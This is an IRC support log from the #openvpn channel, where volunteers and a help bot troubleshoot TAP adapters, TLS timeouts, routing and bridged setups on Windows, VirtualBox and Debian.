11:18 < pekster> hazardous: Yes. Windows sucks for doing any real networking
11:18 <+hazardous> no i mean
11:18 <+hazardous> just that it exists
11:18 <+hazardous> and shows up when searching for network connections
11:19 <+hazardous> the fastest way for me is to just hit the windows key and type adapter, for some reason "connections" doesn't even show the view network connections under search
11:19 <+hazardous> which is bizarre
11:20 < pekster> francobruni: You'll notice the 'Device Name' shows up as a TAP device anyway; you could just as easily get properties from that device from its context menu too
11:20 < pekster> But this is why I did explicitly note earlier that you need to be in the right place
11:23 < francobruni> pekster: thanks for the patience.. finding it was not easy: http://www.howtogeek.com/howto/windows-vista/quickly-open-network-connections-list-in-windows-vista/
11:23 <@vpnHelper> Title: Quickly Open Network Connections List in Windows 7 or Vista (at www.howtogeek.com)
11:23 < francobruni> but sitll.. I can see only the ethernet device, not the tap device
11:24 < pekster> You could have also just clicked 'Manage network connections' from the silly "Sharing Center"
11:24 < pekster> But yes, typing some obscure control pannel applet into a run prompt works too
11:25 < pekster> See if you get it to show up in that advanced menu
11:25 < pekster> If not, that's curious since you said you did see the device in the console output
11:26 < pekster> OpenVPN installs a batch script to remove all adapters and another to install a new one. As a last-resort, try running both in that order
11:26 < pekster> (as of version 2.3.0 it'll be installed as a different program called "TAP-Windows"
11:26 <@krzee> hey thats cool!
11:26 <@krzee> (i dont use windows, except to let the breeze in)
11:27 < pekster> krzee: huh? That script has been there for years. Well, except for some select builds early in the 2.3.0 official release cycle where the buildbot wasn't using the right version
11:27 < pekster> <2.3.0 it was just installed in the <BASE_INSTALL>\bin\ dir
11:27 <@krzee> i havnt used windows since before i joined this channel
11:28 <@krzee> like since way way before 2.1
11:28 < pekster> It *might* have even been in 2.0.9 too ;)
11:28 <@krzee> :D
11:28 < pekster> But yea, that's ancient now
11:28 <@krzee> combine that with i barely remember what i ate yesterday
11:28 <@krzee> hahah
11:29 <@krzee> whoa i didnt know the 3d gun project got shut down by .gov
11:30 < francobruni> sorry, forgot to say that I can't see any advanced button there
11:30 < nohitall> krzee: hey mate
11:30 <@krzee> g'day
11:30 -!- lickalott [~lickalott@127.0.0.1.silentkiller.cc] has quit [Read error: Operation timed out]
11:30 < pekster> francobruni: Then display your menus?
11:30 < nohitall> krzee: I think I become regular here haha, helped again
11:31 < pekster> francobruni: Organize -> Layout -> menu bar. And consider not letting your OS hide things from you
11:31 <@krzee> welcome =]
11:32 < pekster> Or try Alt+n on the keyboard, which is the hotkey for the "advanced" menu, at least in that window
11:34 -!- lickalott [~lickalott@127.0.0.1.silentkiller.cc] has joined #openvpn
11:34 -!- p3rror [~p3rror@41.249.253.52] has quit [Ping timeout: 248 seconds]
11:34 -!- Devastator- [~devas@186.214.14.102] has joined #openvpn
11:34 -!- Devastator- [~devas@186.214.14.102] has quit [Read error: Connection reset by peer]
11:36 -!- midacts [~midacts@207.59.77.254] has joined #openvpn
11:36 -!- Devastator [~devas@177.99.152.67] has quit [Ping timeout: 264 seconds]
11:36 < francobruni> ok, I got to the advanced settings. but no tap device
11:36 <@krzee> francobruni, after you ran both bat scripts?
11:37 < francobruni> anyway, I disabled ipv6 for ethernet adapters.. is it enough?
11:37 -!- Devastator [~devas@186.214.14.102] has joined #openvpn
11:37 < francobruni> no, I haven't run the bat scripts, what's the name of these scripts?
11:39 <@krzee> pekster> OpenVPN installs a batch script to remove all adapters and another to install a new one. As a last-resort, try running both in that order
11:40 <@krzee>   <pekster> (as of version 2.3.0 it'll be installed as a different program called "TAP-Windows"
11:41 < midacts> Hello all, ive been beating my head against the wall to try and get VPN working on my home network. i have followed the DD-wrt and HowToGeek guides on how to set this up. I have created all the certs and made sure there are on the router GUI and in my openvpn config folder. when i try to connect i receive these errors http://pastie.org/7969564 as if it will just not connect
11:41 <@krzee> !timeout
11:41 <@vpnHelper> "timeout" is if you see TLS Error: TLS key negotiation failed to occur within 60 seconds (check your network connectivity) then your problem is likely one of the following: either the server isnt running, your client is connecting to the wrong ip/port/protocol, the server's firewall/nat has an issue, or the client's isp blocks it
11:41 <@krzee> also, you cant connect to your home from your home by external ip
11:43 < midacts> ive tried to test it at home, and i have tried by VPNing into my work and trying to connect from there
11:47 -!- nutcase [~nutcase@unaffiliated/nutcase] has quit [Ping timeout: 240 seconds]
11:48 -!- nutcase [~nutcase@unaffiliated/nutcase] has joined #openvpn
11:50 < midacts> I changed the protocol on the client and server from udp to tcp, but i still get an error message  http://pastie.org/7969610.     is there a way to test to make sure it is working if i cannont connect to my home from my home by external IP?
11:51 < MagisterQuis> midacts: tor.
11:52 < pekster> That's not useful with UDP
11:53 -!- nutcase [~nutcase@unaffiliated/nutcase] has quit [Ping timeout: 240 seconds]
11:53 < MagisterQuis> No, but it's useful with TCP.
11:53 < midacts> the onion router?
11:53 < MagisterQuis> That tor, yes.
11:54 < francobruni> krzee: found TAP-Windows/Utilities in the Start menu. I've removed all the adapters and created a new one, but again no tap device showing up in network connections
11:54 < MagisterQuis> midacts: I have a VM that acts as a gateway and routes traffic through tor.
11:55 -!- nutcase [~nutcase@unaffiliated/nutcase] has joined #openvpn
11:55 < pekster> francobruni: You do realize it shows up with a name of something like "Local Area Connection 3" or something, right?
11:56 < midacts> magisterQuis, so by using that vm, you could potentially use openvpn on that VM to connect to your home router (for testing like in my senario)
11:57 < MagisterQuis> ovpn client -> Tor VM -> (tor) -> my IP
11:57 < MagisterQuis> I have the client and the tor gateway on separate VMs.
11:58 < francobruni> pekster: wait, now I see: it appears as second ethernet connection (cable disconnected), but it is the TAP-adapter, because if I right click I see it in the description. Weird?
11:59 < pekster> No, not weird
12:00 < pekster> Maybe you're prefering views that hide information from you; I'd suggest you don't do that. http://pekster.sdf.org/misc/windows-tap-adapter.png
12:02 < pekster> Blah, that host is having problems. See a mirror at: https://www.pekster.net/x/windows-tap-adapter.png
12:06 -!- nutcase [~nutcase@unaffiliated/nutcase] has quit [Ping timeout: 240 seconds]
12:07 -!- nutcase [~nutcase@unaffiliated/nutcase] has joined #openvpn
12:08 -!- kyrix [~ashley@85-126-76-82.work.xdsl-line.inode.at] has quit [Quit: Ex-Chat]
12:12 -!- Cpt-Oblivious [~cpt-obliv@dhcp-077-250-057-096.chello.nl] has joined #openvpn
12:12 < francobruni> pekster: ok, I'm finally getting there :-)
12:13 < francobruni> the status says "unidentified network" (I'm translating from italian..)
12:13 -!- nutcase [~nutcase@unaffiliated/nutcase] has quit [Ping timeout: 240 seconds]
12:13 < francobruni> I'll look into it tomorrow, thanks for now
12:13 -!- francobruni [~francobru@host244-59-static.240-95-b.business.telecomitalia.it] has left #openvpn []
12:15 -!- nutcase [~nutcase@unaffiliated/nutcase] has joined #openvpn
12:20 -!- nutcase [~nutcase@unaffiliated/nutcase] has quit [Ping timeout: 245 seconds]
12:26 -!- MagisterQuis [~MagisterQ@unaffiliated/kd5pbo] has quit [Read error: Connection reset by peer]
12:27 -!- MagisterQuis [~MagisterQ@c-69-143-115-122.hsd1.md.comcast.net] has joined #openvpn
12:27 -!- MagisterQuis [~MagisterQ@c-69-143-115-122.hsd1.md.comcast.net] has quit [Changing host]
12:27 -!- MagisterQuis [~MagisterQ@unaffiliated/kd5pbo] has joined #openvpn
12:38 -!- nutcase [~nutcase@unaffiliated/nutcase] has joined #openvpn
12:42 -!- nutcase [~nutcase@unaffiliated/nutcase] has quit [Ping timeout: 245 seconds]
12:43 -!- nutcase [~nutcase@unaffiliated/nutcase] has joined #openvpn
12:48 -!- emmanuelux [~emmanuelu@vau92-2-82-228-217-1.fbx.proxad.net] has joined #openvpn
12:48 -!- nutcase [~nutcase@unaffiliated/nutcase] has quit [Ping timeout: 245 seconds]
12:51 -!- nutcase [~nutcase@unaffiliated/nutcase] has joined #openvpn
12:56 -!- nutcase [~nutcase@unaffiliated/nutcase] has quit [Ping timeout: 264 seconds]
12:58 -!- nutcase [~nutcase@unaffiliated/nutcase] has joined #openvpn
13:03 -!- nutcase [~nutcase@unaffiliated/nutcase] has quit [Ping timeout: 240 seconds]
13:03 < nohitall> krzee: doesnt that annoy you?
13:04 <@krzee> i wasnt paying attention to it, the ping about it was tho :-p
13:05 < nohitall> that going on since the afternoon
13:06 -!- mode/#openvpn [+b *!~nutcase@unaffiliated/nutcase] by krzee
13:06 < nohitall> some ppl need their shit fixed
13:07 < pekster> There's a smarter way to fix that, krzee
13:07 <@krzee> i added a timer to remove the ban in 5min
13:07 < pekster> Nah, won't help if it's on auto reconnect
13:07 < pekster> Using the $##fix_your_connection syntax is often cleaner
13:07 <@krzee> it'll reject his next join
13:07 < nohitall> pekster: whats the smarter way
13:07 <@krzee> then his client will likely stop joining this channel til he manually interacts with it
13:08 < pekster> nohitall, +b *!whoever@wherever$##fix_your_connection
13:08 < nohitall> true
13:08 <@krzee> and what does that do differently?
13:08 < pekster> Sends them to that channel
13:09 <@krzee> heh
13:09 < pekster> It's the de-facto "your PC/network needs fixing" channel
13:09 < pekster> Used on lots of other channels here
13:09 <@krzee> feel free to op up and do that next time ;]
13:09 < nohitall> pekster: bro, do you even op? haha
13:09 < pekster> I follow Freenode's recommendation for not weilding great power unless it's required
13:10 <@krzee> i dont think a 300sec ban is that great of power weilding, but it will solve the problem enough for nohitall to stop pinging me
13:11 -!- Matir_ is now known as Matir
13:12 -!- mode/#openvpn [-b *!~nutcase@unaffiliated/nutcase] by krzee
13:12 -!- nutcase [~nutcase@unaffiliated/nutcase] has joined #openvpn
13:12 <@krzee> hah
13:12 <@krzee> fine
13:13 -!- mode/#openvpn [+b *!~nutcase@unaffiliated/nutcase$##fix_your_connection] by krzee
13:13 < pekster> Another point about that syntax is that it's easy for an op who wasn't here for the ban to clearly see that it's a "removable" offence if the person comes back and asks or /msg's an op
13:14 < pekster> Proactive lazyness: putting in a bit extra work now to be lazy later ;)
13:14 <@krzee> right, i was auto-removing the ban with a timer
13:14 < pekster> Yea, I get it
13:14 <@krzee> expecting his client to respect the ban like most do
13:14 < pekster> (FYI, my point about wielding power wasn't about your ban, but about how everyone likes to sit +o here ;)
13:14 -!- InsaneSplash [~richard@196-210-212-47.dynamic.isadsl.co.za] has joined #openvpn
13:14 < InsaneSplash> hey there!
13:15 < InsaneSplash> novaflash: you there?
13:15 <@krzee> we stayed -o for years, theres enough people now that its good to sit with +o
13:16 < pekster> Hey, it's only a recommendation; Freenode's hardly going to K-line you for it
13:17 < nohitall> pekster: you wouldnt believe how many ops act..
13:17 <@krzee> i also find that i get less pointless arguments about how "walkthrough x says to use bridging so thats what im going to do"
13:17 <@krzee> haha
13:19 < nohitall> nice chan here though, very quiet
13:19 < nohitall> I went through the source today, not many changes are there?
13:20 < MagisterQuis> krzee: Heh, I had the opposite problem.
13:20 < MagisterQuis> All the config files I could find used routing.
13:22 < nohitall>  /topic
13:22 < nohitall> ups
13:24 -!- nutcase [~nutcase@unaffiliated/nutcase] has quit [Ping timeout: 240 seconds]
13:32 -!- takamichi [~takamichi@c122-219.i07-31.onvol.net] has quit [Quit: Computer has gone to sleep.]
13:37 -!- SuBmUnDo_ [~SuBmUnDo@187-41-38-127.user.veloxzone.com.br] has joined #openvpn
13:38 -!- SuBmUnDo_ [~SuBmUnDo@187-41-38-127.user.veloxzone.com.br] has left #openvpn ["Saindo"]
13:40 -!- p3rror [~p3rror@41.248.216.54] has joined #openvpn
13:48 -!- lickalott [~lickalott@127.0.0.1.silentkiller.cc] has quit [Read error: Operation timed out]
13:51 -!- lickalott [~lickalott@127.0.0.1.silentkiller.cc] has joined #openvpn
13:52 -!- Cultist [~Cultist@c-71-194-185-109.hsd1.il.comcast.net] has joined #openvpn
13:53 < Cultist> hi, I was wondering, if I use networkmanager to connect through a vpn, does all traffic for all other users run through the vpn or just that of the user that connected?
13:56 -!- InsaneSplash [~richard@196-210-212-47.dynamic.isadsl.co.za] has quit [Quit: Outta Here!]
13:57 < pekster> Cultist: Using network manager doesn't impact that at all. However, if you're using or pushing --redirect-gateway, yes, that impacts the routing table which is system-wide
13:57 < rob0> We don't support NM here. OpenVPN works at the IP layer, so if traffic is redirected, usually it's all. (Some OSs can use policy routing for less than all the traffic to be redirected.)
13:59 < Cultist> --redirect-gateway would make it systemwide or per user?
13:59 < pekster> Changing your routing tables is
13:59 < pekster> (which is what that option does. See its description in the manpage)
14:01 < rob0> --redirect-gateway, yes, that impacts the routing table which is system-wide
14:02 < Cultist> thanks
14:04 -!- Ange7s_vpn [~alexandre@sta01-1-88-175-213-52.fbx.proxad.net] has joined #openvpn
14:04 < Ange7s_vpn> hi everybody
14:04 < Ange7s_vpn> !welcome
14:04 <@vpnHelper> "welcome" is (#1) Start by stating your goal, such as 'I would like to access the internet over my vpn' || new to IRC? see the link in !ask || we may need !logs and !configs and maybe !interface to help you. || See !howto for beginners. || See !route for lans behind openvpn. || !redirect for sending inet traffic through the server. || Also interesting: !man !/30 !topology !iporder !sample !forum
14:04 <@vpnHelper> !wiki !mitm or (#2) Don't use 192.168.1.0/24 or 192.168.0.0/24 (too much potential for conflict)
14:05 < Ange7s_vpn> i have a problem with my vpn
14:05 < Ange7s_vpn> so if someone can help me..
14:06 < Ange7s_vpn> i use openvpn with conf file (taked in /usr/share/doc/openvpn/examples/sample-config-files/openvpn --script-security 3 --config tls-home.conf
14:06 -!- lickalott [~lickalott@127.0.0.1.silentkiller.cc] has quit [Read error: Operation timed out]
14:06 < Ange7s_vpn> tls-home.conf*
14:07 < Ange7s_vpn> it's all OK «Initialization Sequence Completed
14:07 < Ange7s_vpn> but
14:07 < Ange7s_vpn> WARNING: 'ifconfig' is used inconsistently, local='ifconfig 10.1.0.1 10.1.0.7', remote='ifconfig 10.1.0.7 10.1.0.1'
14:08 -!- mattock [~mattock@openvpn/corp/admin/mattock] has left #openvpn []
14:10 -!- lickalott [~lickalott@127.0.0.1.silentkiller.cc] has joined #openvpn
14:10 < Ange7s_vpn> nobody here :(
14:11 -!- _mnathani_ [~mnathani@198-84-231-11.cpe.teksavvy.com] has quit []
14:14 < pekster> Ange7s_vpn: Offhand that error doesn't seem to show anything wrong (each end is using the inverse IP pairing.) Used in a PtP mode, that's exactly what you'd expect. Besides the log message, what is "wrong" with that in your setup?
14:15 < rob0> we may need !logs and !configs to help you.
14:17 < Ange7s_vpn> !logs
14:17 <@vpnHelper> "logs" is (#1) is please pastebin your logfiles from both client and server with verb set to 5 or (#2) In the Windows client(OpenVPN-GUI) right-click the status icon and pick View Log or (#3) In the OS X client(Tunnelblick) right-click it nd select Copy log text to clipboard or (#4) if you dont know how to find your logs, see !logfile
14:17 < Ange7s_vpn> ok wait :)
14:21 < Ange7s_vpn> my conf rob0 & pekster : http://pastebin.com/H7Aw9byr
14:21 < Ange7s_vpn> but when i ping 10.1.0.7 : don't work.
14:25 -!- lickalott [~lickalott@127.0.0.1.silentkiller.cc] has quit [Read error: Operation timed out]
14:25 < pekster> Then please paste what was requested. !configs *and* !logs from both client *and* server. You've done 1 out of 4.
14:25 < Ange7s_vpn> i don't have server
14:25 < Ange7s_vpn> only client
14:26 < pekster> !both
14:26 <@vpnHelper> "both" is If you do not control both ends of the link (server and client) then there is not much we can do to help you. Please talk to your network admin instead.
14:45 -!- MagisterQuis1 [~MagisterQ@c-69-143-115-122.hsd1.md.comcast.net] has joined #openvpn
14:46 -!- MagisterQuis [~MagisterQ@unaffiliated/kd5pbo] has quit [Read error: Connection reset by peer]
14:47 -!- Ange7s_vpn [~alexandre@sta01-1-88-175-213-52.fbx.proxad.net] has quit [Quit: WeeChat 0.4.0]
14:59 -!- newbie|1 [~kvirc@75-140-76-52.dhcp.mtpk.ca.charter.com] has joined #openvpn
14:59 -!- lickalott [~lickalott@127.0.0.1.silentkiller.cc] has joined #openvpn
15:00 -!- Denial [Denial@cpc15-tonb3-2-0-cust76.16-3.cable.virginmedia.com] has quit []
15:01 < newbie|1> Anyone here have experiance setting up the OpenVPN server in bridged mode in a Windows Guest in VirtualBox? When I bridge the interface to the tap interface, I loose connectivity.
15:02 < pekster> newbie|1: Don't do that. Create a bridge between the tap and the physical adapter, then you set your VM software to use that as its target to bridge to
15:03 < pekster> I'd also suggest you think very carefully before opting to use briding at all with openvpn, but that's your call. See !tunortap for reasons wny
15:04 < MagisterQuis1> !tunortap
15:04 <@vpnHelper> "tunortap" is (#1) you ONLY want tap if you need to pass layer2 traffic over the vpn (traffic destined for a MAC address). If you are using IP traffic you want tun. Dont waste the extra overhead. or (#2) and if your reason for wanting tap is windows shares, see !wins or (#3) also remember that if someone gets access to any side of a tap vpn they can use layer2 attacks like arp poisoning
15:04 <@vpnHelper> against you over the vpn or (#4) lan gaming? use tap! or (#5) Normal Android/iOS devices (not rooted/jailbroken) support only tun.
15:04 -!- MagisterQuis1 [~MagisterQ@c-69-143-115-122.hsd1.md.comcast.net] has quit [Changing host]
15:04 -!- MagisterQuis1 [~MagisterQ@unaffiliated/kd5pbo] has joined #openvpn
15:04 < newbie|1> I think thats what I have. I have one Nic in VirtualBox that is bridged to the hosts physical nic. In the Geust VM i have the Gusts physical nic and the tap. I brided these two and loose connection.
15:04 -!- MagisterQuis1 is now known as MagiscerQuis
15:04 -!- MagiscerQuis is now known as MagisterQuis
15:05 < pekster> Oh, so you're running the VPN inside the guest? What's the purpose here?
15:05 < newbie|1> I need to use bridge because when I connect I need to be on the same subnet
15:05 < MagisterQuis> You can't just bridge the adapters?
15:06 < MagisterQuis> What's the host?
15:06 < newbie|1> pekster: purpose is so I can test this out. It works on a host machine just fine. Im trying to get it to work in a VM and the bridging fails
15:06 < pekster> You can; the addressing is probably getting screwed up would be my guess, but I also have no clue why you're doing this on a VM if you're creating a L2 bridge anyway
15:06 < newbie|1> MagisterQuis: Yes I can bridge the two adapters, but when I do I loose internet in the guest
15:07 < MagisterQuis> Recommend you troubleshoot that.
15:07 < MagisterQuis> It's one fewer thing that can go wrong.
15:07 < newbie|1> pekster: funny thin is I get an IP from the hosts network, gateway and all that, just unable to ping anythung
15:07 < MagisterQuis> routing's borked?
15:07 < MagisterQuis> Firewall on the host?
15:07 < pekster> newbie|1, no, when you bridge you need the bridge interface to *define* the address you want
15:07 < MagisterQuis> What OS is the host?
15:08 < pekster> You can't run it as a client and put an IP on it becuase then it won't match the expected network settings on your local LAN
15:08 < pekster> (you can run tap like that, but you do not bridge it)
15:08 -!- gffa [~unknown@unaffiliated/gffa] has quit [Quit: sleep]
15:10 < newbie|1> let me backup a tad.  I tried this first on a windows host on a seperate computer. Bridged the physical nic and tap together. The computer got an IP from my routers dhcp and I had internet. Before I even started the openvpn server.   When I do the same inside a VM, i loose internet connectivity inside the guest. even if I statically set the ip and subnet.
15:10 < pekster> Did you forget to add a gateway?
15:10 < pekster> ip+subnet != gateway
15:10 < newbie|1> No, its getting everything it needs
15:11 < pekster> !interface
15:11 <@vpnHelper> "interface" is (#1) paste interface configuration from both client and server, while being disconnected and when beeing connected. Be sure to also add the routing tables for both situations from client and from server or (#2) For Windows: iface: 'ipconfig /all' routing: 'route print' (add -4 or -6 for just IPv4 or v6) or (#3) For Unix: iface: 'ifconfig -a' routing: 'netstat -rn' or (#4) For Linux:
15:11 <@vpnHelper> iface: 'ip a' routing: 'ip r' (use ip -6 for IPv6 routes)
15:11 < newbie|1> i have IP, Subnet, gateway, and dns
15:11 < newbie|1> all good to go, just no internet
15:11 < pekster> Verify your interface info above. Then verify you can ping your local gateway. Then see if you can ping 8.8.8.8. If not, trace to it
15:12 < pekster> It's possible virtualbox has some issue with what you're trying to do with the virtual adapter, but that's not really an openvpn problem
15:12 < newbie|1> im in a windows 7 enviroment
15:12 < pekster> Right...
15:12 < pekster> Nothing I've said can't be done from a windows environment
15:12 < newbie|1> i dont have ip a in windows
15:12 < pekster> Then you need to read more carefully
15:12 < newbie|1> lol
15:14 < newbie|1> Im not sure I understasnd what your asking. I know this is not a Openvpn tpoic, but can you help me with this part?
15:15 < pekster> Then you're beyond help. Maybe try searching the last dozen lines for the words "For Windows" and pay better attention next time
15:16 < EugeneKay> !read
15:16 <@vpnHelper> "read" is <krzee> ive been known to overreact when people look for 2 minutes and ask me to explain it to them
15:23 < newbie|1> r
15:24 < newbie|1> Well I guess I am missing something because I dont see what your talking about as far as windows. Only thing I see thats worth anything to me is "Its possible virtualbox has some issue with what your trying to do with the virtual adapter..."
15:24 < newbie|1> Thanks anyways.
15:26 -!- Denial [Denial@cpc15-tonb3-2-0-cust76.16-3.cable.virginmedia.com] has joined #openvpn
15:28 -!- lickalott [~lickalott@127.0.0.1.silentkiller.cc] has quit [Read error: Operation timed out]
15:31 -!- lickalott [~lickalott@127.0.0.1.silentkiller.cc] has joined #openvpn
15:32 < pekster> newbie|1: I don't mean to be rude, only blunt: if you are unable to read a paragraph of info from the bot and pick out the relevant parts, you probably shouldn't be using openvpn. http://pekster.sdf.org/misc/spoonfeed-windows-reading.png .
15:34 < rob0> "beeing"? That stings! ;)
15:40 < newbie|1> pekster: as my name suggests, this is new to me, including irc. I just came asking for help, not to get slammed. and I didnt realize I had to go to school for networking to figure this out. If I knew how to do all this, I would not be here asking for help. I understand this is not an OpenVPN issue but because I was trying to get openvpn working, I thought I ight ask here. Ill search for a solution
15:40 < newbie|1> my self.
15:42 < pekster> Then maybe you shouldn't ignore what the experts suggested you re-read and go off with your "thanks anwyay" crap after the info (that I've been nice enough to even highlight for you: I don't usually do that for folks) that I've been giving you
15:43 < pekster> https://duckduckgo.com/?q=irc+how+to+ask+questions
15:43 <@vpnHelper> Title: irc how to ask questions at DuckDuckGo (at duckduckgo.com)
15:44 < EugeneKay> !101
15:44 <@vpnHelper> "101" is This channel is not a '101' replacement for any of the following topics or others: Networking, Firewalls, Routing, Your OS, Security, etc etc
15:45 < newbie|1> pekster: you read my "Thanks anyways" in a negative way, it was not intended that way. Because of what you posted, I can have something to search for.
15:50 < rob0> "school for networking" would be useless. Anyone who is any good in any subfield of computing is good in spite of schooling, not because of it. :)
15:53 -!- speed_racer84 [~speed_rac@173.45.218.54] has quit [Read error: Connection reset by peer]
15:53 -!- speed_racer84 [~speed_rac@173.45.218.54] has joined #openvpn
15:55 < pekster> newbie|1: This is likely relevant to your situation: https://forums.virtualbox.org/viewtopic.php?f=1&t=44258
15:55 <@vpnHelper> Title: virtualbox.org View topic - Promiscuous Mode - Allow VMs vs Allow All? (at forums.virtualbox.org)
15:55 < pekster> Issues with that should be directed upstream to that project (ie: if your problem exists before you attempt to use openvpn, it's obviously not an openvpn problem)
16:00 -!- kubbing [~kubbing@ip-89-176-96-114.net.upcbroadband.cz] has quit [Remote host closed the connection]
16:07 -!- takamichi [~takamichi@c122-219.i07-31.onvol.net] has joined #openvpn
16:07 -!- kubbing [~kubbing@ip-89-176-96-114.net.upcbroadband.cz] has joined #openvpn
16:14 -!- takamichi [~takamichi@c122-219.i07-31.onvol.net] has quit [Quit: Computer has gone to sleep.]
16:15 -!- chamunks [~chamunks@206-248-172-199.dsl.teksavvy.com] has quit [Ping timeout: 248 seconds]
16:15 -!- takamichi [~takamichi@c122-219.i07-31.onvol.net] has joined #openvpn
16:17 -!- chamunks [~chamunks@li550-51.members.linode.com] has joined #openvpn
16:20 -!- takamichi [~takamichi@c122-219.i07-31.onvol.net] has quit [Client Quit]
16:22 -!- kubbing [~kubbing@ip-89-176-96-114.net.upcbroadband.cz] has quit [Remote host closed the connection]
16:27 -!- Klownicle [~Klownicle@pool-71-99-207-173.tampfl.fios.verizon.net] has joined #openvpn
16:28 < Klownicle> !welcome
16:28 <@vpnHelper> "welcome" is (#1) Start by stating your goal, such as 'I would like to access the internet over my vpn' || new to IRC? see the link in !ask || we may need !logs and !configs and maybe !interface to help you. || See !howto for beginners. || See !route for lans behind openvpn. || !redirect for sending inet traffic through the server. || Also interesting: !man !/30 !topology !iporder !sample !forum
16:28 <@vpnHelper> !wiki !mitm or (#2) Don't use 192.168.1.0/24 or 192.168.0.0/24 (too much potential for conflict)
16:29 -!- p3rror [~p3rror@41.248.216.54] has quit [Remote host closed the connection]
16:30 < Klownicle> !logs
16:30 <@vpnHelper> "logs" is (#1) is please pastebin your logfiles from both client and server with verb set to 5 or (#2) In the Windows client(OpenVPN-GUI) right-click the status icon and pick View Log or (#3) In the OS X client(Tunnelblick) right-click it nd select Copy log text to clipboard or (#4) if you dont know how to find your logs, see !logfile
16:33 < Klownicle> !configs
16:33 <@vpnHelper> "configs" is (#1) please pastebin your client and server configs (with comments removed, you can use `grep -vE '^#|^;|^$' server.conf`), also include which OS and version of openvpn. or (#2) dont forget to include any ccd entries or (#3) on pfSense, see http://www.secure-computing.net/wiki/index.php/OpenVPN/pfSense to obtain your config
16:35 -!- newbie|1 [~kvirc@75-140-76-52.dhcp.mtpk.ca.charter.com] has left #openvpn ["Once you know what it is you want to be true, instinct is a very useful device for enabling you to know that it is"]
16:47 < Klownicle> http://pastebin.com/ZpWgwfZp - Client traffic not routed over VPN, Unable to communicate (ping) vpn'd network (10.20.20.1).  Debian 7.0 Server, WIndows 7 Client (Run as Administrator), Bridge - Layer 2 Setup.  Halp!
16:50 -!- xpeed [~unknown@unaffiliated/xpeed] has joined #openvpn
16:52 < xpeed> hi, i have a linux firewall with 1 external physical interface with 4 public IPs and openvpn runing on it,  if on a external client  i put one of the public server IPs that is not the FIRST one at --remote parm, the server tries to reply from the first public IP on the wan interface, and the client rejects it
16:52 < xpeed> if i use the float option at the client it connects, essentially alloing the client to recieve authenticated datagrams of any source IP
16:53 < xpeed> but i would like to know if anyone knoes how to force the server to respond over the same IP the client is "connecting" to
16:53 < xpeed> im using udp as transport protocol
16:54 < rob0> Klownicle, ...
16:54 < rob0> !redirect
16:54 < Klownicle> Yes?
16:54 <@vpnHelper> "redirect" is (#1) to make all inet traffic flow through the vpn, you will need --redirect-gateway (see !def1), as well as IP forwarding (see !ipforward) and NAT (see !nat) enabled on the server. or (#2) you may need to use a different dns server when redirecting gateway, see !dns or !pushdns or (#3) if using ipv6 try: route-ipv6 2000::/3 or (#4) Handy troubleshooting flowchart:
16:54 <@vpnHelper> http://ircpimps.org/redirect.png
16:54 -!- b00gz__ [uid6869@gateway/web/irccloud.com/x-hwcttuitctprnomi] has joined #openvpn
16:54 < rob0> the flowchart might help
16:54 < Klownicle> Even on a bridged layer 2?  I thought that was just for NAT?
16:54 < rob0> oh!
16:55 < Klownicle> I do my homework most of the time ;)
16:55 < rob0> why are you bridging?
16:55 < Klownicle> I need a layer 2 vpn becuase of traffic on the internet network that the vpn clients will be accessing
16:55 < Klownicle> internal*
16:56 < rob0> is that traffic not routable for some reason?
16:56 < Klownicle> Becuase its not broadcasted over layer 3 ommunications from what I read.
16:56 < rob0> what specifically is it?
16:57 < Klownicle> Its a tuner card that broadcasts itself over the network, I froget the name of the specific traffic.
16:57 < Klownicle> Its not DLNA, but something else.
16:57 < rob0> oh. Generally I/we recommend against bridging if possible.
16:58 < Klownicle> I used the OpenVPN-AS with a Layer 2 and it all worked fine except when the client disconnects the next reconnect is all fubar'd for some reason
16:58 < Klownicle> So I was going to try a standard OpenVPN configuration.
16:59 < Klownicle> By fubar'd its slow and unresponsive most of the time, re-creating/using a different account (username) solves it.
17:00 < Klownicle> I know I could ask that in #openvpn-as but I would have preferred not to use the access server as I wouldn't need its own machine in my esxi server.
17:01 < pekster> If you need to pass Ethernet broadcasts (traffic flooded to the all-ones MAC address) then yea, you need bridging
17:01 < Klownicle> ^
17:02 < Klownicle> I guess the term is "Broadcast Traffic" is not sent over Layer 3 VPN's, so thats why im in the Layer 2 Bridge area.
17:02 < pekster> Klownicle: So what's the core issue here: your server is multi-homed and sending replies from a different address? If so, you need to set up some policy routing to bind replies to the same address/interface they arrived on, or use the --local directive on the server if you only want to use a single public IP
17:02 -!- kubbing [~kubbing@ip-89-176-242-54.net.upcbroadband.cz] has joined #openvpn
17:02 < Klownicle> The core issue at this point, is when I connet to the vpn setup.  I cannot ping the vpn lan, nor is traffic (google.com) routed over the vpn.
17:03 < Klownicle> http://pastebin.com/ZpWgwfZp - Client traffic not routed over VPN, Unable to communicate (ping) vpn'd network (10.20.20.1).  Debian 7.0 Server, WIndows 7 Client (Run as Administrator), Bridge - Layer 2 Setup.  Halp! <-----
17:03 < Klownicle> Is what I pasted to begin with.  I was a good boy, got all my logs :-p
17:03 < pekster> First off, don't push a route like you've done: since you're using tap, that's implied
17:04 < Klownicle> ok, what next?
17:04 < pekster> I'm looking at your logs now; the config looks OK other than that
17:05 < Klownicle> I only followed guides I could find online, they all had routes being pushed.
17:05 < Klownicle> ill restart openvpn and try connecting again
17:05 < pekster> Right, normally you need to push the server-LAN route, but when you're bridging the route is "on-link"
17:06 < rob0> Klownicle, yes, you did a good job with the pastebin. :)
17:06 < Klownicle> doesn't appear that removing that line made any difference
17:07 < Klownicle> rebooting the client and server just in case
17:07 < pekster> No need to reboot
17:07 < Klownicle> I know, but making sure theres nothing else pending
17:07 < pekster> Just a bounce on the clients is all you need: you can't ping 10.20.20.22 after that?
17:07 < Klownicle> I don't know about 22, was trying for .1 which is the router on the lan obviously
17:09 < pekster> How is tap0 getting added to your bridge?
17:09 -!- mode/#openvpn [-b *!~nutcase@unaffiliated/nutcase$##fix_your_connection] by krzee
17:09 < pekster> Unless you're setting that up in your network config, you'd need to do that in an --up script
17:09 < pekster> I tend to use distro-centric tools to manage my own tap devices on bridges as it makes things cleaner, and then you can even give them a nice name like tap_lan or something
17:09 -!- mode/#openvpn [-b *!*@ps38852.dreamhost.com$##fix_your_connection] by krzee
17:09 < Klownicle> ahh suppose I left out the up and down script
17:10 -!- mode/#openvpn [-b *!*@c-67-173-184-207.hsd1.il.comcast.net$##fix_your_connection] by krzee
17:10 < Klownicle> but the br0 is getting created from the /etc/network/interfaces
17:10 < pekster> Right, but it looks like it's only using eth0 as a member
17:10 < Klownicle> than an up.sh for adding to the bridge.
